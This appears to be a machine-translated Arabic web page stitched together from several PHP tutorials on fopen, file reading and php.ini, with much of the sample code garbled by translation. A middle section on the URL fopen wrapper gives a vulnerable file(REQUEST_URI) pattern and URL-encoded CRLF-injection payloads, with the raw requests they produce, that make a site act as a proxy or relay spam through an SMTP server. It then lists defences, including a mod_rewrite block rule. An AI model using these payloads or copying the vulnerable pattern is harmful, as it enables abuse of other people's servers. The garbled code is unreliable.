قائمة الطعام
بدون مقابل
تسجيل
الصفحة الرئيسية  /  إنترنت/ fopen - يفتح ملفًا أو عنوان URL. فتح الملفات والبيانات الخارجية

Fopen - يفتح ملف أو URL. فتح الملفات والبيانات الخارجية

16.5 ك

في الواقع ، كيفية فتح ملف php ليست مشكلة كبيرة. قد يكون فتح زجاجة بيرة أكثر صعوبة عندما تكون في وسط غابة. لكن المبرمجين المتحمسين فقط هم من يعتقدون ذلك. وللمبتدئين ، دعنا نتحدث عن جميع ميزات php للعمل مع الملفات:

ملفات php

تحتوي الملفات ذات الامتداد php على كود مكتوب بلغة البرمجة التي تحمل الاسم نفسه. بخلاف اللغات الأخرى ، فإن php هي لغة برمجة من جانب الخادم. أي أنه يعمل على جانب الخادم. لذلك ، لتصحيح التعليمات البرمجية الخاصة به ، يجب تثبيت خادم محلي على جهاز العميل.

للعمل مع ملفات php ، يتم استخدام تطبيقات خاصة - محررات البرامج. الأكثر شيوعًا هي:

  • دريمويفر.
  • يحرر.
  • تطوير Eclipse PHP.
عند إنشاء مواقع على أساس php ، قد يكون من الضروري إعادة استخدام كود البرنامج. في مثل هذه الحالات ، من الملائم تضمين الحلول الجاهزة الموجودة في ملف آخر. لهذا ، يتم استخدام بنية التضمين. تركيبها هو:

تشمل اسم الملف

مثال على الاتصال:

الملف المرتبط:


من الممكن أيضًا تضمين ملف باستخدام البنية المطلوبة. على عكس التضمين ، فهو يتضمن ملفًا حتى قبل تنفيذ كود البرنامج. بمساعدة طلب في الكود ، يمكن استدعاء واحد فقط لهذا الملف. عند الوصول المتكرر ، سيعرض النظام رسالة خطأ عامة ويوقف تنفيذ البرنامج.

بناء التضمين يربط المصدر فقط أثناء تنفيذ البرنامج. وهو يدعم القراءة المتعددة لملف php. في حالة حدوث خطأ ، سيتم عرض رسالة تحذير فقط ، وسيستمر تنفيذ التعليمات البرمجية من السطر التالي.

فتح وإغلاق الملفات

في php ، يتم تنفيذ جميع العمليات مع الملفات على عدة مراحل:

  • فتح ملف
  • تحرير المحتوى
  • إغلاق ملف.

تُستخدم الوظيفة fopen () لفتح ملف. تركيبها هو:

int fopen (اسم ملف السلسلة ، وضع السلسلة [، int use_include_path])

الحجج المقبولة:

  • اسم ملف سلسلة - اسم الملف أو المسار المطلق إليه. إذا لم يتم تحديد مسار الملف ، فسيتم البحث عنه في الدليل الحالي. إذا كان الملف الذي تم البحث عنه غير موجود ، فسيعرض النظام رسالة خطأ. مثال:

  • وضع السلسلة - يحدد وضع فتح الملف. القيم التي تقبلها الوسيطة:
  • r - الملف مفتوح للقراءة فقط ، يتم تعيين مؤشر الملف في البداية ؛
  • r + - الملف مفتوح للقراءة والكتابة ؛
  • w - لإنشاء ملف جديد للكتابة فقط. إذا كان هناك ملف يحمل نفس الاسم بالفعل ، فإنه يحذف جميع البيانات تلقائيًا ؛
  • w + - إنشاء ملف جديد للكتابة والقراءة. في حالة وجود مثل هذا الملف ، يتم استبدال بياناته بالكامل بأخرى جديدة ؛
  • أ - الملف مفتوح للكتابة. يتم تعيين المؤشر في النهاية. أي أن الكتابة إلى ملف php لن تبدأ من البداية ، بل من النهاية ؛
  • a + - فتح الملف في وضع القراءة والكتابة. سيبدأ التسجيل من النهاية ؛
  • ب - طريقة العمل مع ملف يحتوي على بيانات ثنائية (في النظام الثنائي). هذا الوضع متاح فقط في نظام التشغيل Windows.

تُستخدم الوظيفة fclose () لإغلاق الوصول إلى الملف. بناء الجملة:

int fclose (ملف int) ، حيث يكون ملف int هو مؤشر للموقع المراد إغلاقه.

بعد كل قراءة أو كتابة ، يجب إغلاق الملف بهذه الوظيفة. وإلا ، فسيظل الدفق الذي تم إنشاؤه للملف مفتوحًا. وهذا يؤدي إلى استهلاك غير ضروري لسعات الخادم.

مثال:

قراءة وكتابة الملفات

لعرض محتويات الملف بالكامل ، تعد وظيفة readfile () مثالية. تركيبها هو:

readfile (اسم ملف سلسلة) ، حيث يكون اسم ملف السلسلة هو اسم ملف سلسلة (وليس واصف ملف).


يمكن قراءة نفس الملف باستخدام وظيفة fpassthru (). يقرأ البيانات من موضع نهاية المؤشر إلى نهاية الملف. تركيبها هو:

int fpassthru (ملف int)

للعمل مع الوظيفة ، تحتاج إلى فتح الملف وإغلاقه. مثال:

النتيجة مشابهة للنتيجة السابقة.

تسمح لك وظائف ملف php بقراءة المحتويات سطرًا سطرًا وحرفًا بحرف:

  • fgets (ملف int ، طول int)- تقرأ الدالة سلسلة طولها. مثال:

  • سلسلة fread (ملف int ، طول int)- الإجراء مطابق للإجراء السابق.

هناك وظيفتان متطابقتان لكتابة البيانات النصية في ملف:

  • int fputs (ملف int ، سلسلة نصية [، طول int])
  • int fwrite (ملف int ، سلسلة نصية [، طول int])

تكتب الوظائف إلى الملف int ملف سلسلة سلسلة من الطول المحدد int length ( حجة اختيارية). مثال:

إنشاء وحذف الملفات

لإنشاء ملف php ، يمكنك استخدام وظيفة fopen () في وضع الوصول "w" أو "w +". أو وظيفة اللمس (). يحدد وقت تعديل الملف. إذا لم يكن هناك عنصر بالاسم الذي تم البحث عنه ، فسيتم إنشاؤه. تركيبها.

(PHP 4 ، PHP 5 ، PHP 7)

fopen- يفتح ملف أو URL

وصف

الموارد fopen (سلسلة $ filename , سلسلة $ الوضع [, bool $ use_include_path = false [, سياق الموارد ]])

fopen ()يرفق المورد المحدد المحدد في وسيطة اسم الملف بالدفق.

قائمة المعلمات

إذا تم تمرير اسم الملف بالشكل "مخطط: // ..." ، فسيتم التعامل معه كعنوان URL وستبحث PHP عن معالج بروتوكول (يُعرف أيضًا باسم "المجمع") لهذا المخطط. إذا لم يتم تعيين غلاف لـ بروتوكول ، سيصدر PHP ملاحظة لمساعدتك في تعقب مشكلة محتملة في البرنامج النصي الخاص بك ثم المتابعة كما لو كان اسم الملف ملفًا عاديًا.

إذا قامت PHP بتعيين اسم ملف للإشارة إلى ملف محلي ، فسيتم إجراء محاولة لفتح دفق لهذا الملف. يجب أن يتمكن PHP من الوصول إلى الملف ، لذا يجب التأكد من أن أذونات الملف تسمح بذلك. إذا قمت بتمكين الوضع الآمن أو open_basedir ، فسيتم تطبيق قيود أخرى.

إذا قامت PHP بتعيين اسم الملف للإشارة إلى بروتوكول مسجل وتم تسجيل هذا البروتوكول كعنوان URL للشبكة ، تقوم PHP بإجراء فحص الحالة على التوجيه allow_url_fopen. إذا تم تعطيله ، ستصدر PHP تحذيرًا وستفشل مكالمة fopen.

تعليق:

تتوفر قائمة بالبروتوكولات المدعومة في قسم البروتوكولات والأغلفة المدعومة. بعض البروتوكولات ( أغلفة) الدعم سياق الكلامو / أو خيارات php.ini. راجع صفحة البروتوكول المناسبة للحصول على قائمة بالخيارات التي يمكن تعيينها. (مثل قيمة php.ini وكيل المستخدميستخدمه المجمع http).

على نظام Windows الأساسي ، يجب عليك تخطي جميع الخطوط المائلة العكسية في مسار الملف أو استخدام الخطوط المائلة للأمام.

$ handle = fopen ("c: \\ folder \\ resources.txt"، "r")؛
?>

تحدد معلمة الوضع نوع الوصول الذي تطلبه من الدفق. يمكن أن يكون أحد الخيارات التالية:

قائمة الأوضاع الممكنة لـ fopen ()باستخدام الوضع
الوضع وصف
"ص" يفتح ملف للقراءة فقط ؛ يضع المؤشر في بداية الملف.
"r +" يفتح ملفًا للقراءة والكتابة ؛ يضع المؤشر في بداية الملف.
"w" يفتح ملفًا للكتابة فقط ؛ يضع المؤشر في بداية الملف ويقطع الملف إلى طول صفري. إذا كان الملف غير موجود ، فإنه يحاول إنشائه.
"w +" يفتح ملفًا للقراءة والكتابة ؛ يضع المؤشر في بداية الملف ويقطع الملف إلى طول صفري. إذا كان الملف غير موجود ، فإنه يحاول إنشائه.
"أ" يفتح ملفًا للكتابة فقط ؛ يضع المؤشر في نهاية الملف. إذا كان الملف غير موجود ، فإنه يحاول إنشائه.
"أ +" يفتح ملفًا للقراءة والكتابة ؛ يضع المؤشر في نهاية الملف. إذا كان الملف غير موجود ، فإنه يحاول إنشائه.
"x" يخلق ويفتح للكتابة فقط ؛ يضع المؤشر في بداية الملف. إذا كان الملف موجودًا بالفعل ، فاتصل fopen ()ينتهي بالفشل خاطئةوسيعطي خطأ مستوى E_ تحذير. إذا كان الملف غير موجود ، فسيحاول إنشائه. هذا يعادل تحديد الأعلام O_EXCL | O_CREATلاستدعاء النظام الداخلي مفتوح (2).
"x +" يخلق ويفتح للقراءة والكتابة ؛ خلاف ذلك لديه نفس السلوك مثل "x".
"ج" يفتح ملفًا للكتابة فقط. إذا كان الملف غير موجود ، فسيتم إنشاؤه. إذا كان الملف موجودًا ، فلن يتم اقتطاعه (على عكس "w") ، ولا يؤدي استدعاء هذه الوظيفة إلى حدوث خطأ (كما في حالة "x"). سيتم تعيين مؤشر الملف إلى بداية الملف. يمكن أن يكون هذا مفيدًا إذا كنت تريد قفل ملف (انظر قطيع()) قبل التغيير ، منذ الاستخدام "w"يمكن اقتطاع الملف قبل الحصول على القفل (إذا كنت ترغب في اقتطاع الملف ، يمكنك استخدام الوظيفة ftruncate ()بعد طلب قفل).
"ج +" فتح ملف للقراءة والكتابة ؛ خلاف ذلك لديه نفس السلوك مثل "ج".

تعليق:

تمتلك العائلات المختلفة لأنظمة التشغيل اصطلاحات مختلفة لنهايات الأسطر. عند كتابة نص وترغب في إدراج فاصل أسطر ، يجب عليك استخدام الأحرف (أو الرمز) الصحيح لنظام التشغيل الخاص بك. تستخدم أنظمة عائلة Unix باعتباره فاصل الخط ، تستخدم أنظمة عائلة Windows \ r \ nكنهايات خط واستخدام أنظمة عائلة ماكنتوش \ rكخط فاصل.

إذا كنت تستخدم حرف نهاية السطر الخطأ عند تحرير الملفات ، فقد تجد أن الملفات تبدو "غريبة" عند فتحها.

يقدم Windows علامة وضع ترجمة النص ( "ر") ، والتي ستتم ترجمتها تلقائيًا في \ r \ nأثناء العمل مع الملف. والعكس صحيح - يمكنك أيضًا استخدام ملفات "ب"لفرض الوضع الثنائي ، حيث لن يتم تحويل بياناتك. لاستخدام هذه الأوضاع ، حدد "ب"أو "ر"الحرف الأخير من معلمة الوضع.

نظرًا لأن تعيين علامة الترجمة الافتراضية يعتمد على SAPI وإصدار PHP الذي تستخدمه ، فإننا نوصي بتعيين العلامة المحددة بشكل صريح لأسباب تتعلق بإمكانية النقل. يجب عليك استخدام الوضع "ر"إذا كنت تعمل مع ملف نصي واستخدامه لوضع علامة على نهاية سطر في البرنامج النصي الخاص بك دون القلق بشأن إمكانية قراءة ملفاتك في تطبيقات أخرى مثل Notepad. في جميع الحالات الأخرى ، استخدم العلم "ب".

إذا لم تقم بتعيين العلامة "b" بشكل صريح عند العمل مع الملفات الثنائية ، فقد تواجه تلفًا غريبًا في بياناتك ، بما في ذلك ملفات الصور التالفة ومشاكل الأحرف الغريبة. \ r \ n.

تعليق:

لأسباب تتعلق بقابلية النقل ، يوصى بشدة باستخدام العلامة "b" دائمًا عند فتح الملفات باستخدام fopen () .

تعليق:

بالإضافة إلى ذلك ، لأسباب تتعلق بإمكانية النقل ، يوصى بشدة أيضًا بإعادة كتابة التعليمات البرمجية القديمة التي تعتمد على الوضع "ر"بحيث يستخدم وضع ونهايات الأسطر الصحيحة بدلاً من ذلك "ب".

use_include_path

يمكن تعيين المعلمة الثالثة الاختيارية use_include_path على "1" أو صحيحإذا كنت تريد أيضًا البحث عن ملف في include_path.

سياق

تعليق: تمت إضافة دعم السياق في PHP 5.0.0. للحصول على وصف السياقاتانظر قسم المواضيع.

إرجاع القيم

إرجاع مؤشر ملف عند النجاح ، أو خاطئةفي حالة وجود خطأ.

اخطاء

إذا تعذر فتح الملف ، فسيتم إنشاء خطأ في المستوى. E_ تحذير. يمكنك استخدام عامل لمنع هذا الخطأ.

قائمة التغييرات

أمثلة

المثال رقم 1 أمثلة على الاستخدام fopen ()

$ handle = fopen ("/ home / rasmus / file.txt"، "r")؛
$ handle = fopen ("/ home / rasmus / file.gif"، "wb")؛
$ handle = fopen ("http://www.example.com/"، "r")؛
مقبض $ = fopen ( "ftp: // المستخدم: [بريد إلكتروني محمي]/somefile.txt "، "ث") ؛
?>

ملحوظات

انتباه

عند استخدام SSL ، يكسر Microsoft IIS البروتوكول عن طريق إغلاق الاتصال دون إرسال مؤشر close_notify. ستقوم PHP بالإبلاغ عن هذا كـ "SSL: Fatal Protocol Error" لحظة وصولك إلى نهاية البيانات. للتغلب على هذا ، يجب عليك تعيين error_reporting إلى مستوى يستبعد E_WARNING. يمكن للإصدارات 4.3.7 من PHP والإصدارات الأقدم اكتشاف أن IIS الإشكالية موجودة على جانب الخادم عند فتح دفق باستخدام غلاف https: //ولا يعرض تحذيرًا. إذا كنت تستخدم ملفات fsockopen ()للخلق ssl: //المقبس ، فأنت مسؤول عن تحديد هذا التحذير وقمعه.

تعليق: عند تمكين خيار الوضع الآمن ، يتحقق PHP لمعرفة ما إذا كان الدليل الذي توشك على العمل معه يحتوي على نفس UID (الملكية) مثل البرنامج النصي الذي يتم تنفيذه.

تعليق:

إذا كنت تواجه مشكلة في قراءة الملفات أو كتابتها وكنت تستخدم PHP كوحدة خادم ، فتأكد من وصول عملية الخادم إلى الملفات والأدلة التي تستخدمها.

تعليق:

يمكن أن تنجح هذه الوظيفة أيضًا إذا كان اسم الملف دليلًا. إذا لم تكن متأكدًا مما إذا كان اسم الملف هو ملف أم دليل ، فأنت بحاجة إلى استخدام الوظيفة is_dir ()، قبل الاتصال fopen () .

يمكن للوظائف fopen و file و include و تتطلب فتح ملفات من مواقع أخرى باستخدام بروتوكولي http و ftp. تحتوي هذه الميزة على ثغرة أمنية محتملة في نصوص php تسمح باستخدام الموقع كوكيل.

أحذرك أنه لن يكون هناك شيء جديد في هذه المادة. على الرغم من الاحتمالات المثيرة للإعجاب للمهاجم ، فإن هذه الثغرة الأمنية هي ببساطة مزيج من الميزات المعروفة لـ php.

في عام 2002 ، بالتوازي مع ذلك ، اكتشفت عدة مجموعات معنية بالبحث عن ثغرات البرمجيات ثغرة خطيرة وقوية في php.

في الإنترنت الناطق بالروسية ، لم تتم تغطية هذه الثغرة الأمنية عمليًا. على المواقع باللغة الروسية بشأن القضايا الأمنية ، لم أتمكن من العثور على رسالة مباشرة حول هذه الثغرة الأمنية.

وهن

غلاف URL fopen

لزيادة الوظائف وتبسيط الترميز ، قام مطورو php بعمل هذه الميزة في الوظائف fopen و file و include وغيرها. إذا كان اسم الملف يبدأ بـ "http: //" ، فسيقوم الخادم بطلب HTTP وتنزيل الصفحة وكتابتها على المتغير كما لو كان ملفًا عاديًا. تعمل البادئات "ftp: //" و "php: //" بالمثل (هذا الأخير للقراءة والكتابة إلى stdin و stdout و stderr). كان هذا ضروريًا حتى لا يعاني مطورو المواقع من مكتبات طلبات http ولن يكتبوها يدويًا. هذا الخيار معطل في إعدادات php ، المعلمة allow_url_fopen.

CR / LF في طلبات HTTP

تفصل مجموعة أحرف إرجاع السطر وأحرف تغذية السطر في طلب HTTP الرؤوس. يمكنك قراءة المزيد عن هذا في مقال أنطون كالميكوف. يمكن تمرير هذه المجموعة من الأحرف في طلب GET كـ "٪ 0D٪ 0A".

إدخال غير موثوق به

في العديد من المواقع ، يتم إنشاء الصفحات بواسطة برنامج نصي للنموذج. يتم إعادة توجيه جميع طلبات الموقع إلى البرنامج النصي. اسم الملف المراد فتحه مأخوذ من REQUEST_URI. تتم قراءة الملف ، ويضاف إليه قالب مع التنقل ، والعنوان ، وما إلى ذلك ، ويتم إرجاع النتيجة إلى العميل.

يمكن للمبرمج المهمل أو عديم الخبرة كتابة فتح ملف بسهولة دون التحقق من البيانات:

صدى ينفجر (""، file (substr ($ REQUEST_URI، 1))) ؛

يتم تجاهل الحرف الأول ، الشرطة المائلة ، من الطلب ، ويتم فتح الملف. يمكن للمهاجم بسهولة إدخال السلسلة http://example.com كمسار للملف على الخادم: http://n00b.programmer.com/http://example.comخيار آخر - تبدو جميع العناوين على الموقع مثل http://n00b.programmer.com/index.php؟f=newsفي هذه الحالة ، سيحاول المهاجم فتح عنوان مثل http://n00b.programmer.com/index.php؟f=http://example.comمن المهم جدًا عدم الثقة في البيانات الواردة وتصفية الطلبات الواردة باستخدام التعبيرات العادية.

الاستفادة

نظرًا لأنه في المثال أعلاه لم يتم التحقق من العنوان بأي شكل من الأشكال ، يمكن إدراج سلسلة مع طلب HTTP في الطلب. إذا فتح دخيل الطريق

Index.php؟ f = http٪ 3A٪ 2F٪ 2Fexample.com٪ 2F + HTTP٪ 2F1.0٪ 0D٪ 0A٪ 0D٪ 0A
المضيف: + example.com٪ 0D٪ 0AUser-agent: + Space + Bizon٪ 2F9٪ 2E11٪ 2E2001 +
٪ 28Windows + 67٪ 29٪ 0D٪ 0Avar1٪ 3Dfoo٪ 26var2٪ 3Dbar٪ 0D٪ 0A٪ 0D٪ 0A ثم سيقوم البرنامج النصي بإجراء طلب HTTP: GET example.com/ HTTP / 1.0 \ r \ n
المضيف: example.com \ r \ n
وكيل المستخدم: Space Bizon / 11/9/2001 (Windows 67) \ r \ n
var1 = foo & var2 = bar \ r \ n
\ r \ n
HTTP / 1.0 \ r \ n
المضيف: www.site1.st \ r \ n
وكيل المستخدم: PHP / 4.1.2 \ r \ n
\ r \ n

يضيف البرنامج النصي الأسطر الثلاثة الأخيرة تلقائيًا ، لكن سطرين \ r \ n قبلهما يعنيان نهاية الطلب. وبالتالي ، يمكن استخدام برنامج نصي غير محمي كخادم وكيل. من خلال معرفة العديد من المواقع "المتسربة" ، يمكن للمهاجم بناء سلسلة منها لجعل العثور عليها أكثر صعوبة.

الاستخدام الذكي للاستغلال

إذا كان الموفر الذي يوفر وصولاً تجريبيًا مجانيًا لديه موقع هول ، فيمكنك كتابة نص برمجي لخادم منزلي يقوم بإنشاء طلبات لمثل هذا الخادم الوكيل وتوفير بعض المال. هذه القضية ، بطبيعة الحال ، هي قضائية ويعاقب عليها ، ولكن إلى حد كبير التدليل. الاستخدام الأكثر ربحية لجهاز شخص آخر كوكيل هو إرسال بريد إلكتروني عشوائي. مثال من مقال كتبه Ulf Harnhammar:

Index.php؟ f = http٪ 3A٪ 2F٪ 2Fmail.example.com٪ 3A25٪ 2F + HTTP / 1.0٪ 0D٪ 0AHELO +
my.own.machine٪ 0D٪ 0AMAIL + من٪ 3A٪ 3Cme٪ 40my.own.machine٪ 3E٪ 0D٪ 0ARCPT +
TO٪ 3A٪ 3Cinfo٪ 40site1.st٪ 3E٪ 0D٪ 0ADATA٪ 0D٪ 0Ai + لن + مطلقًا + نطق + كلمة +
PROCRASTINATE + مرة أخرى٪ 0D٪ 0A.٪ 0D٪ 0AQUIT٪ 0D٪ 0A٪ 0D٪ 0A

(يجب أن يكون سطرًا واحدًا) ستتصل وحدة PHP بخادم mail.example.com على المنفذ 25 وترسل الطلب التالي:

GET / HTTP / 1.0 \ r \ n
HELO my.own.machine \ r \ n
البريد من: \ r \ n
RCPT TO: \ r \ n
البيانات \ r \ n
لن أقول كلمة PROCRASTINATE مرة أخرى \ r \ n
. \ r \ n
إنهاء \ r \ n \ r \ n

HTTP / 1.0 \ r \ n
المضيف: mail.site1.st:25\r\n
وكيل المستخدم: PHP / 4.1.2 \ r \ n \ r \ n

سوف يقسم PHP وخادم البريد ، ولكن سيتم إرسال الرسالة. بوجود مثل هذه الثغرة الأمنية في موقع شخص ما ، يمكنك البحث عن مرحل بريد مغلق يتلقى البريد من خادم الويب الذي تم استغلاله. لن يتم وضع هذا الترحيل في القائمة السوداء من قبل مقدمي الخدمة ، ويمكن أن يكون البريد العشوائي فعالاً للغاية. على موقعي ، وجدت الكثير من الطلبات مع المنفذ الخامس والعشرين في الطريق. وقبل بداية هذا العام ، لم تكن هناك طلبات من هذا القبيل. في السابق ، كان عدد قليل فقط من المستخدمين الفضوليين على دراية بمثل هذه الثغرة الأمنية ، وفي العام الماضي فقط أصبح الثقب معروفًا جيدًا وقام مرسلي البريد العشوائي بتشغيله.

تدابير الحماية من استغلال

من المهم بالنسبة لك ، بصفتك مطورًا أو مالكًا للموقع ، أن تفعل كل ما هو ممكن حتى لا يتمكن أي شخص من إرسال بريد عشوائي عبر موقعك. إذا نجح ذلك ، فسيتم إرساله من بعض الطلب الهاتفي في هاواي ، الذين لا يفهم أصحابها اللغة البشرية ، ويمكنهم جعلك متطرفًا.

التحقق من سجل الاستعلام

بادئ ذي بدء ، من المفيد التعرف على قائمة العناوين الفريدة المطلوبة من الموقع. سيساعد هذا في معرفة ما إذا كانت هناك حالات اعتداء واستغلال للحفرة. عادةً ما يتحقق مرسلو البريد العشوائي فورًا من إمكانية الاتصال بترحيل البريد الذي يحتاجونه في المنفذ 25. لذلك ، يجب أن تبحث عن السلاسل ": 25" و "٪ 3A25".

إعداد php

أسهل طريقة لتعطيل ثغرة أمنية محتملة هي منع فتح عناوين URL من خلال وظائف الملفات. إذا كنت المسؤول عن الخادم الخاص بك - قم بتعطيل allow_url_fopen في إعدادات php. إذا كنت مجرد عميل ، فقم بحظره محليًا. في ملف htaccess الخاص بجذر الموقع ، اكتب السطر: php_value allow_url_fopen 0إذا كنت موفر استضافة شريرًا ، فيمكنك تعطيل غلاف URL fopen لجميع العملاء باستخدام التوجيه php_admin_value. لن يساعد تمكين الوضع الآمن في هذه الحالة ، تستمر الوظيفة في العمل بشكل صحيح.

تغيير الكود

مثل هذا الموقف الصعب ممكن: أنت عميل ، وقد أدخل مسؤول موفر استضافة مهمل جميع إعدادات php في php_admin_value ، ولا يمكنك تغييرها. سيكون عليك تعديل كود البرنامج النصي. أسهل طريقة هي البحث عن fopen و file و include الدوال التي تفتح الملفات من أسماء المتغيرات. واقطع البادئات http: // و ftp: // مع وظيفة str_replace. ومع ذلك ، في بعض الأحيان لا يزال البرنامج النصي بحاجة إلى فتح العناوين التي تأتي من المستخدم. على سبيل المثال ، برنامج نصي إباحي يقوم بإدراج اللغات الأم في النص أو يستبدل النص بالروسية المكسورة ("طريق لـ astsof الحقيقي ، fsem fftkat"). ربما تكون هذه المواقع هي الأكثر تأثراً بالبرمجة القذرة. في هذه الحالة ، من الممكن تمامًا أن نقتصر على قطع "\ r \ n" من السلسلة المستلمة. في هذه الحالة ، لن يتمكن المهاجم من إضافة رأسه الخاص إلى الطلب الذي ترسله.

توقف عن العمل بناء على طلب مسيء

يقوم العميل الذي يقوم بمسح موقعك بحثًا عن متغيرات غير محددة بتوليد حركة مرور غير ضرورية وتحميل معالج الخادم. من الواضح أنه لا يحتاج إلى الصفحات التي ينشئها موقعك ، إذا كانت لا تعمل كوكيل. يُنصح بإلغاء مثل هذه الطلبات حتى قبل بدء مترجم php. يمكن القيام بذلك باستخدام وحدة mod_rewrite. في ملف htaccess في جذر الموقع ، أضع السطر التالي:

قاعدة إعادة الكتابة ((٪ 3A |:) 25 |٪ 0D٪ 0A) - [G]

يفترض هذا أن الموقع لن يرسل نماذج مع إدخال مستخدم متعدد الخطوط باستخدام طريقة GET. وإلا سيتم إيقافهم بهذه القاعدة.

إذا كنت تدعم العنونة سهلة القراءة باستخدام mod_rewrite ، فعلى الأرجح لن يتم استخدام النقطتين و CRLF. لذلك ، لن تتطابق الأسطر الأخرى من RewriteRule مع طلب الفحص ، ويجب وضع السطر الذي يتوقف عن معالجة الطلب في نهاية قائمة القواعد. ثم ستتم إعادة كتابة الطلبات العادية وإعادة توجيهها إلى هذا السطر (استخدم العلامة [L]) ، مما سيقلل من وقت معالجتها. قد تختلف حسب الظروف.

سنعلمك في هذا الفصل كيفية فتح ملف على الخادم وقراءته وإغلاقه.

ملف PHP المفتوح - fopen ()

أفضل طريقة لفتح الملفات هي باستخدام وظيفة fopen (). تمنحك هذه الوظيفة خيارات أكثر من وظيفة readfile ().

سنستخدم الملف النصي "webdictionary.txt" أثناء الدروس:

AJAX = JavaScript غير متزامن و XML
CSS = أوراق الأنماط المتتالية
HTML = لغة ترميز النص التشعبي
PHP = المعالج الأولي للنص التشعبي PHP
SQL = لغة الاستعلام الهيكلية
SVG = رسومات موجهة قابلة للتطوير
XML = لغة التوصيف الموسعة

تحتوي المعلمة الأولى لـ fopen () على اسم الملف الذي سيتم فتحه وتحدد المعلمة الثانية الوضع الذي يجب فتح الملف فيه. يولد المثال التالي أيضًا رسالة إذا كانت الوظيفة fopen () غير قادرة على فتح الملف المحدد:

مثال


صدى fread (ملفي $ ، ملف ("webdictionary.txt")) ؛
fclose ($ myfile) ؛
?>

تشغيل مثال »

تلميح:سيتم شرح دالتي fread () و fclose () أدناه.

يمكن فتح الملف بأحد الأوضاع التالية:

أساليب وصف
ص افتح ملفًا للقراءة فقط
ث افتح ملفًا للكتابة فقط
أ افتح ملفًا للكتابة فقط
x يقوم بإنشاء ملف جديد للكتابة فقط
ص + افتح ملفًا للقراءة / الكتابة. يبدأ مؤشر الملف في بداية الملف
ث + افتح ملفًا للقراءة / الكتابة. يمسح محتويات الملف أو ينشئ ملفًا جديدًا إذا لم يكن موجودًا. يبدأ مؤشر الملف في بداية الملف
أ + افتح ملفًا للقراءة / الكتابة. يتم الاحتفاظ بالبيانات الموجودة في الملف. يبدأ مؤشر الملف في نهاية الملف. ينشئ ملفًا جديدًا إذا لم يكن الملف موجودًا
x + ينشئ ملفًا جديدًا للقراءة / الكتابة. إرجاع FALSE وخطأ إذا كان الملف موجود بالفعل

قراءة ملف PHP - fread ()

تقرأ الدالة fread () من ملف مفتوح.

تحتوي المعلمة الأولى لـ fread () على اسم الملف المراد القراءة منه وتحدد المعلمة الثانية الحد الأقصى لعدد وحدات البايت للقراءة.

تقرأ شفرة PHP التالية ملف "webdictionary.txt" حتى النهاية:

Fread (ملفي $ ، ملف ("webdictionary.txt")) ؛

ملف إغلاق PHP - fclose ()

تُستخدم الوظيفة fclose () لإغلاق ملف مفتوح.

إنها ممارسة برمجة جيدة لإغلاق جميع الملفات بعد الانتهاء منها. لا تريد ملفًا مفتوحًا يعمل على الخادم الخاص بك ويستهلك الموارد!

يتطلب fclose () اسم الملف (أو متغير يحمل اسم الملف) نريد إغلاقه:

$ myfile = fopen ("webdictionary.txt"، "r")؛
// بعض التعليمات البرمجية ليتم تنفيذها ....
fclose ($ myfile) ؛
?>

PHP قراءة سطر واحد - fgets ()

تُستخدم الوظيفة fgets () لقراءة سطر واحد من الملف.

يُخرج المثال أدناه السطر الأول من ملف "webdictionary.txt":

ملحوظة:بعد استدعاء وظيفة fgets () ، انتقل مؤشر الملف إلى السطر التالي.

PHP Check End-File - feof ()

تتحقق الوظيفة feof () من الوصول إلى "نهاية الملف" (EOF).

تُعد وظيفة feof () مفيدة للتنقل بين البيانات ذات الطول غير المعروف.

يقرأ المثال أدناه ملف "webdictionary.txt" سطرًا بسطر ، حتى يتم الوصول إلى نهاية الملف:

مثال

$ myfile = fopen ("webdictionary.txt"، "r") أو يموت ("يتعذر فتح الملف!")؛
// إخراج سطر واحد حتى نهاية الملف
while (! feof ($ myfile)) (
صدى fgets ($ myfile). "
";
}
fclose ($ myfile) ؛
?>

تشغيل مثال »

قراءة حرف واحد بلغة PHP - fgetc ()

تُستخدم الوظيفة fgetc () لقراءة حرف واحد من ملف.

يقرأ المثال أدناه ملف "webdictionary.txt" حرفًا بحرف ، حتى يتم الوصول إلى نهاية الملف:

مثال

$ myfile = fopen ("webdictionary.txt"، "r") أو يموت ("يتعذر فتح الملف!")؛
// إخراج حرف واحد حتى نهاية الملف
while (! feof ($ myfile)) (
echo fgetc ($ myfile) ؛
}
fclose ($ myfile) ؛
?>

تشغيل مثال »

ملحوظة:بعد استدعاء وظيفة fgetc () ، ينتقل مؤشر الملف إلى الحرف التالي.

مرجع نظام ملفات PHP الكامل

للحصول على مرجع كامل لوظائف نظام الملفات ، انتقل إلى ملفنا الكامل

يعتمد موقع ملف php.ini على نظام التشغيل الذي يعمل عليه خادم مزود الاستضافة. لمعرفة مكانه ، اتبع 4 خطوات بسيطة:

  1. قم بإنشاء ملف php (يمكن أن يكون الاسم أي شيء ، لكننا نأخذ myphpinfo.php كمثال) ، وأضف إليه الأسطر التالية:
  2. نقوم بتحميل هذا الملف إلى الخادم حيث يوجد موقعك (إلى المجلد الجذر).
  3. نبدأ من خلال المتصفح (أدخل عنوان URL https://yoursitename.com/myphpinfo.php).
  4. في النافذة التي تظهر ، ابحث عن مسار php.ini (بالنسبة للمبتدئين ، انظر إلى "Loaded Configuration File" ، إذا كان يقول "None" ، ثم انظر إلى "Configuration File (php.ini) Path").

كيف أقوم بإعداد php.ini؟

يحتوي ملف php.ini على قواعد بناء الجملة "Directive = value". إذا كنت تريد إضافة تعليقات (على سبيل المثال ، تشير فيها إلى تأثير هذا الإعداد) ، فقم بذلك بعد فاصلة منقوطة (لا يتم احتساب كل ما يأتي بعد هذه العلامة كأمر). هنا مثال:

max_execution_time = 40 ؛ الحد الأقصى لعدد ثواني تنفيذ البرنامج النصي

الاعدادات العامة

phpengine = تشغيل ؛ تمكين البرمجة بلغة PHP.

Short_open_tag = تشغيل ؛ يسمح لك ببساطة بتأطير كود PHP بالعلامات

Asp_tags = تشغيل ؛ تمكن القدرة على تمييز كود PHP ، كما هو الحال في ASP -<% %>

الدقة = 12 ؛ يحدد عدد الأرقام بعد الفاصلة العشرية لأرقام الفاصلة العائمة.

output_buffering = 4096 ؛ سيتم تمكين التخزين المؤقت للإخراج تلقائيًا ، مع تحديد حجم المخزن المؤقت بعد "يساوي".

Safe_mode = تشغيل ؛ الوضع الآمن.

Safe_mode_allowed_env_vars = PHP_ ؛ يسمح للمستخدم بالعمل فقط مع متغيرات البيئة التي تبدأ بـ PHP_. إذا كان هذا التوجيه فارغًا (بدون قيمة) ، فسيكون المستخدمون قادرين على تغيير أي متغيرات بيئة. يمكن أن يكون هذا أمرًا سيئًا للغاية بالنسبة لأمان البرنامج النصي.

